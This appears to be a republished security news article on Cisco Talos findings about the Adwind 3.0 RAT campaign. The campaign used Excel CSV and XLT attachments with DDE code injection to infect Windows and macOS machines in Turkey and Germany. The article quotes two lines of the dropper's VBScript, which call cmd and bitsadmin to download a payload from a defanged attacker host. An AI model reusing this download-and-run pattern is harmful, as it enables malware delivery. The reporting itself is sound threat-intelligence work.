code injection technique  - TsTQA1537946165 - Adwind RAT Attack Windows & Mac via DDE code injection Technique

New 3.0 RAT (Remote access Trojan) Evolving with new sophisticated capabilities, unlike old version it mainly attacks desktop version of  , Windows and OSX using code .

Attackers are using weaponized  Office to compromise the targeted victims and also new capabilities that able to avoid detection by anti-virus software.

This mainly targeting Turkey and Germany via malicious spam email campaign which is started on Aug. 26, 2018, peaking on Aug. 28.

Previous version Adwind Widely spreading via A360 Cloud Drive Platform Abuse for Delivering Remote Access Trojans and used as a Malware Distributing Platform by using a File-sharing site to host Malware.

Another scenario Cross-platform Remote Access Trojan “Adwind” Steal Credentials, Record and Harvest keystrokes the Aerospace Industries Data.

Adwind 3.0 RAT can able to, log keystroke, take screenshots, take pictures or transfer files execute any kind of commands on its victims.

Adwind 3.0 RAT Code Injection Technique Scenario 

An initial stage of attack starts with the malicious spam emails with the body content written in the Turkish language along with an attachment of either CSV file or.XLT file.

Both campaign opened by Microsoft Excel by default and both files are capable of performing DDE code injection attack.

In this case, malicious dropper has the various malicious format in below list and note that all the extension will be opened by default in Microsoft Excel Document but non-default extensions, a script starting Excel with a file with one of these extensions as a parameter is still a viable attack scenario.

- ext - Adwind RAT Attack Windows & Mac via DDE code injection Technique

Once the victims will open the Excel file then it will display warnings to the user regarding the execution of code and it warned the user executing the different file format and the file will probably be corrupted if you’re open the file.

- image6 - Adwind RAT Attack Windows & Mac via DDE code injection Technique

Another warning will displays that the document will execute the “CMD.exe.” and once the user accepts the warnings, the system will open the calculator .

The main purpose of the code injection technique used by attackers to create and execute a VBScript in specific content.

Set WXWYKNRG = CreateObject("Wscript.Shell")
WXWYKNRG.Run "cmd /c bitsadmin /transfer 8 /download hxxp://erayinsaat[.]live

Later it drops the final payload which is a is a Java archive file and the attacker packed this java payload using  “Allatori Obfuscator “ and the further research confirms that the packed malware as Adwind RAT v3.0.

According to Cisco Talos research, It’s a well-known multiplatform RAT with several configurations possible. The samples we tested were configured to achieve persistence on Windows, Linux and Mac OSX. Each platform has its own persistence name.

Source link


Please enter your comment!
Please enter your name here